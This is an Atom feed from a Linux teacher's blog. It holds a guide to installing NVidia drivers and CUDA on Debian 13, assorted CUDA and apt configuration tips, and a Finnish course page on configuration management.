<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Tero Karvinen - learn Free software with me</title>
  <link href="https://terokarvinen.com/"/>
  <link rel="self" href="https://terokarvinen.com/index.xml"/>
  <id>https://terokarvinen.com/</id>
  <updated>2026-10-31T20:08:00Z</updated>

  <entry>
    <title>NVidia Driver and CUDA on Debian</title>
    <link href="https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/"/>
    <id>https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/</id>
    <published>2026-10-31T20:08:00Z</published>
    <updated>2026-10-31T20:08:00Z</updated>
    <content type="html">&lt;p&gt;Install NVidia driver to play games. Install CUDA to run local AI and crack passwords. In just 4 commands.&lt;/p&gt;
&lt;p&gt;Debian Wiki now recommends the approach used here: install NVidia drivers from NVidia.&lt;/p&gt;
&lt;p&gt;Updated for Debian 13-Trixie.&lt;/p&gt;
&lt;h2 id=&quot;install-nvidia-driver&quot;&gt;Install NVidia driver &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/#install-nvidia-driver&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Make sure you have non-free and contrib in your &lt;a href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#sources-list&quot;&gt;sources.list&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Add NVidia repository, creates a new trust relationship.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;wget&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; https://developer.download.nvidia.com/compute/cuda/repos/debian13/x86_64/cuda-keyring_1.1-1_all.deb&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; dpkg&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i&lt;/span&gt; cuda-keyring_1.1-1_all.deb&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get update&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install the packages. NVidia &quot;open&quot; driver, for some small values of open. CUDA toolkit for calculations. And the packages to make it all work trough system updates.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get install nvidia-open cuda-toolkit linux-headers-amd64 dkms &lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reboot.&lt;/p&gt;
&lt;p&gt;Optionally, you can see your driver version with &#39;nvidia-smi&#39;.&lt;/p&gt;
&lt;p&gt;That&#39;s it. If you just want to play games, you can now buy KCDII from Gog and start Heroic Launcher... Or see &lt;a href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/&quot;&gt;Tricks for NVidia and CUDA on Debian&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;sources&quot;&gt;Sources &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/#sources&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;NVidia 2025: &lt;a href=&quot;https://docs.nvidia.com/cuda/cuda-installation-guide-linux&quot;&gt;CUDA Installation Guide for Linux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;NVidia 2025: &lt;a href=&quot;https://docs.nvidia.com/datacenter/tesla/driver-installation-guide/introduction.html&quot;&gt;NVIDIA Driver Installation Guide&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Debian Wiki: &lt;a href=&quot;https://wiki.debian.org/NvidiaGraphicsDrivers&quot;&gt;Nvidia Proprietary GPU Drivers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karvinen 2025: &lt;a href=&quot;https://terokarvinen.com/2026/nvidia-driver-and-cuda-on-debian-2026-debian-12-bookworm-2025/&quot;&gt;NVidia Driver and CUDA on Debian - Debian 12-bookworm 2025&lt;/a&gt; (archived)&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Tricks for NVidia and CUDA on Debian</title>
    <link href="https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/"/>
    <id>https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/</id>
    <published>2026-10-31T19:53:00Z</published>
    <updated>2026-10-31T19:53:00Z</updated>
    <content type="html">&lt;p&gt;Moved some NVidia and CUDA tricks here, to keep the install instructions to basics.&lt;/p&gt;
&lt;p&gt;You need to install the drivers first. See &lt;a href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/&quot;&gt;NVidia Driver and CUDA on Debian&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;coding-with-cuda&quot;&gt;Coding with CUDA &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#coding-with-cuda&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You just installed CUDA. &#39;sudo apt-get install cuda-toolkit&#39;. If you actually want to code with it, you might need additional packages.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get install g++ freeglut3-dev build-essential libx11-dev libxmu-dev libxi-dev libglu1-mesa-dev libfreeimage-dev libglfw3-dev&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;test-cuda-with-hashcat&quot;&gt;Test CUDA with hashcat &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#test-cuda-with-hashcat&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can test CUDA with hashcat. &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Crack some password with hashcat&lt;/a&gt;. Without CUDA, hashcat says &quot;CUDA SDK Toolkit not installed or incorrectly installed.&quot;. With CUDA, hashcat says &quot;CUDA API (CUDA 13.0)&quot;.&lt;/p&gt;
&lt;h2 id=&quot;sources-list&quot;&gt;Sources.list for Debian 13-trixie &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#sources-list&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You are going to need non-free and contrib in sources.list. Edit it &#39;sudoedit /etc/apt/sources.list&#39;, then &#39;sudo apt-get update&#39;.&lt;/p&gt;
&lt;p&gt;/etc/apt/sources.list&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;deb		https://deb.debian.org/debian trixie 			main contrib non-free-firmware non-free  
deb-src	https://deb.debian.org/debian trixie 			main contrib non-free-firmware non-free  

deb		https://deb.debian.org/debian trixie-updates 	main contrib non-free-firmware non-free  
deb-src	https://deb.debian.org/debian trixie-updates 	main contrib non-free-firmware non-free  

deb		https://deb.debian.org/debian trixie-backports 	main contrib non-free-firmware non-free  
deb-src	https://deb.debian.org/debian trixie-backports 	main contrib non-free-firmware non-free  

deb 	https://security.debian.org/debian-security trixie-security 	main contrib non-free-firmware non-free  
deb-src	https://security.debian.org/debian-security trixie-security 	main contrib non-free-firmware non-free  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have updated your sources.list and ran &#39;sudo apt-get update&#39;, you can install NVidia drivers.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/&quot;&gt;Install NVidia Driver and CUDA on Debian&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;fix-kernel-update-kills-nvidia-driver&quot;&gt;Fix: Kernel update kills nvidia-driver &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#fix-kernel-update-kills-nvidia-driver&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is just background information. It will work by following &lt;a href=&quot;https://terokarvinen.com/nvidia-driver-and-cuda-on-debian/&quot;&gt;install instructions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many tutorials incorrectly advise you to install specific version of kernel headers. That does not work: when kernel binary (linux-image*) updates, your kernel headers (linux-headers*) are left too old. Thus, dkms cannot compile the latest NVidia driver. And you don&#39;t get grahical desktop. For example, it&#39;s not recommended to install only &quot;linux-headers-$(uname -r)&quot;, because that expands to linux-headers-6.12.113+deb13-amd64. A bit too specific!&lt;/p&gt;
&lt;p&gt;Just like shown above, you need to install the metapackage that always installs the latest kernel headers. You likely have linux-image-amd64 (metapackage), so you need to &#39;sudo apt-get install linux-headers-amd64&#39;. You can see this yourself with &#39;dpkg --list &#39;linux-image*&#39;|grep ^ii|grep meta&#39;.&lt;/p&gt;
&lt;h2 id=&quot;nvidia-pgp-keys&quot;&gt;NVidia PGP keys &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#nvidia-pgp-keys&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;How can you verify NVidia PGP key? No idea, there seems to be many.&lt;/p&gt;
&lt;p&gt;Different key is installed by different versions of the package with the same name (including the version number) cuda-keyring_1.1-1_all.deb. This package installs both sources.list entry and the trusted key.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;gpg&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;show-key&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;with-fingerprint&lt;/span&gt; /usr/share/keyrings/cuda-archive-keyring.gpg &lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; for Debian 12-bookworm&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;pub   rsa4096 2022-04-14 [SC]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;      EB69 3B30 35CD 5710 E231  E123 A4B4 6996 3BF8 63CC&lt;/span&gt;

&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;gpg&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;show-key&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;with-fingerprint&lt;/span&gt; usr/share/keyrings/cuda-archive-keyring.gpg &lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; for Debian 13-trixie&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;pub   rsa4096 2025-08-15 [SCEA]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;      0218 2E60 104F CDC2 6EAE  1B85 97A5 D4CB 8793 F200&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;uid                      Kitmaker (Debian 13 Trixie) &amp;lt;kitmaker@nvidia.com&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;sources&quot;&gt;Sources &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#sources&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/nvidia-and-cuda-tricks-on-debian/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;NVidia 2025: &lt;a href=&quot;https://docs.nvidia.com/cuda/cuda-installation-guide-linux&quot;&gt;CUDA Installation Guide for Linux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;NVidia 2025: &lt;a href=&quot;https://docs.nvidia.com/datacenter/tesla/driver-installation-guide/introduction.html&quot;&gt;NVIDIA Driver Installation Guide&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Debian Wiki: &lt;a href=&quot;https://wiki.debian.org/NvidiaGraphicsDrivers&quot;&gt;Nvidia Proprietary GPU Drivers&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Palvelinten Hallinta</title>
    <link href="https://terokarvinen.com/palvelinten-hallinta/"/>
    <id>https://terokarvinen.com/palvelinten-hallinta/</id>
    <published>2026-10-20T10:04:00Z</published>
    <updated>2026-10-20T10:04:00Z</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;p&gt;Control &lt;del&gt;10&lt;/del&gt;, &lt;del&gt;100&lt;/del&gt;, &lt;del&gt;1000&lt;/del&gt; many computers.&lt;/p&gt;
&lt;p&gt;Or control 2071 computers, like Jussi did on a earlier course. Or handle 7 different operating systems and OS versions with a single master, like Matias.&lt;/p&gt;
&lt;p&gt;Best instance got 5.0 / 5 feedback - all respondents gave the best grade 5.&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Course, both instances&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Palvelinten hallinta &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICI001AS3A&quot;&gt;ICI001AS3A&lt;/a&gt;-&lt;strong&gt;3015&lt;/strong&gt; and &lt;em&gt;-3017&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 period 2, &lt;strong&gt;late autumn&lt;/strong&gt;, w43-w50&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Finnish&lt;/strong&gt; (+reading and writing in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;Reached 5.0 / 5 * &lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/#comments&quot;&gt;Excellent feedback&lt;/a&gt;&lt;/strong&gt; &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;Thursdays: &lt;br&gt;14:00 Pasila-3015 in pa5001.&lt;br&gt;17:40 Online-3017 Zoom. &lt;br&gt;Both have mandatory participation.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;(Check-in and come to the first class if you&#39;re queuing for place)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;Online-3017 fully remote. Pasila-3015 fully face-to-face in classroom.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-10-22 w43 Thu 14:00 Pasila-3015 pa5001, Bring your laptop.&lt;br&gt;2026-10-22 w43 Thu 17:40 Online-3017.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49876&quot;&gt;Moodle Pasila-3015&lt;/a&gt;, &lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49877&quot;&gt;Moodle Online-3017&lt;/a&gt; Zoom, &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksu&lt;/a&gt;.  &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt; (optional).&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;I&#39;ve done some research on configuration management systems. I have written my doctoral dissertation on applying malware command and control techniques to benign configuration management systems. I&#39;ve given an invited speech in IEEE ICIM Chengdu and a plenary speech in IEEE ICIM Oxford; I’ve also been teaching these modern methods to companies. Previous feedback for this course has been from very good 4.3 to excellent &lt;del&gt;4.9&lt;/del&gt; 5.0 out of 5.&lt;/p&gt;
&lt;p&gt;As the course is in Finnish, the rest of this page will be in Finnish.&lt;/p&gt;
&lt;h2 id=&quot;opintojakson-suoritettuaan-opiskelija&quot;&gt;Opintojakson suoritettuaan opiskelija &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#opintojakson-suoritettuaan-opiskelija&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Osaa hallita palvelimia kuvailemalla tavoitetilan (idempotenssi)&lt;/li&gt;
&lt;li&gt;Osaa tehdä asetukset pelkkänä tekstinä ja versioitavasti (infrastruktuuri koodina)&lt;/li&gt;
&lt;li&gt;Pystyy tekemään tavalliset ylläpitotoimet valitulla työkalulla (yksi totuus)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;esitiedot&quot;&gt;Esitiedot &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#esitiedot&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Esitiedot, kertaa nämä.&lt;/p&gt;
&lt;p&gt;Opettele komennot ja hakemistot ulkoa. Harjoittele niitä kokeilemalla moneen kertaan Linuxissa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linuxin komennot, apt &lt;a href=&quot;http://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tiedostojärjestelmän rakenne (etc, var…). Alkeet löytyvät samasta &lt;a href=&quot;http://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Demonien hallinta (esim Apache) &lt;a href=&quot;http://terokarvinen.com/2008/05/02/install-apache-web-server-on-ubuntu-4/index.html&quot;&gt;Install Apache Web Server on Ubuntu&lt;/a&gt; (paitsi demonin potkaisu nykyisin &#39;sudo systemctl restart apache2&#39;)&lt;/li&gt;
&lt;li&gt;Linuxin asentaminen virtuaalikoneeseen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span id=&quot;alustava-aikataulu&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurssi kestää 8 viikkoa. Edellyttää aktiivista osallistumista etäopetukseen videokonfferensissa lukkariin merkittynä aikana. Läksyt palautetaan 24 h ennen seuraavan oppitunnin alkua ja ristiinarvioidaan kahden luokkakaverin työt. Tämä alustava aikataulu elää kurssin aikana.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Perusteet&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-22 w43 Thu&lt;/td&gt;&lt;td&gt;1. &lt;strong&gt;Hei maailma&lt;/strong&gt;. Järjestäytyminen: osallistujat, kurssin käytänteet. Keskitetyn hallinnan periaateet, infra koodina. Raportit, git web-käyttö, MarkDown kertaus. Hei maailma!&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-29 w44 Thu&lt;/td&gt;&lt;td&gt;2. &lt;strong&gt;Infraa koodina&lt;/strong&gt;. Konfiguraation kirjoittaminen koodiksi.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-05 w45 Thu&lt;/td&gt;&lt;td&gt;3. &lt;strong&gt;Pkg-file-service&lt;/strong&gt; eli demonien hallinta. Käsin tehdyn konfiguraation automatisointi.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-12 w46 Thu&lt;/td&gt;&lt;td&gt;4. &lt;strong&gt;Esimerkkipalvelin&lt;/strong&gt;. Käytännön esimerkki palvelimen konfiguroinnista. &lt;em&gt;Pasilan ryhmällä -3015 tunnit korvattu etätehtävällä. Online-ryhmän -3017 tunnit normaalisti.&lt;/em&gt; (Taisto)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-19 w47 Thu&lt;/td&gt;&lt;td&gt;5. &lt;strong&gt;Versionhallinta&lt;/strong&gt;. Git: init, clone, add, commit, pull, push, log. GitHub ja muut avustavat palvelut. &lt;strong&gt;Omien modulien aloitus.&lt;/strong&gt;, 2 hengen ryhmät.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Soveltaminen&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-11-26 w48 Thu&lt;/td&gt;&lt;td&gt;6. &lt;strong&gt;Soveltaminen&lt;/strong&gt;. Käytännön tekniikoita ja esimerkkejä. Ongelmanratkaisua.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-12-03 w49 Thu&lt;/td&gt;&lt;td&gt;7. &lt;strong&gt;Omien modulien esittely&lt;/strong&gt; I.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-12-10 w50 Thu&lt;/td&gt;&lt;td&gt;8. &lt;strong&gt;Omien modulien esittely&lt;/strong&gt; II.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;oheismateriaalia-lukemista-ja-asennuspaketteja&quot;&gt;Oheismateriaalia, lukemista ja asennuspaketteja &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#oheismateriaalia-lukemista-ja-asennuspaketteja&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Debian stable 13-trixie levykuva &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.4.0-amd64-xfce.iso&quot;&gt;debian-live-13.4.0-amd64-xfce.iso&lt;/a&gt; (3.6 GB) Kun uusia versioita tulee, linkki vanhenee. Uusi löytyy &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/&quot;&gt;samasta kansiosta&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Karvinen 2021: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/&quot;&gt;VirtualBox.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karvinen 2020: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
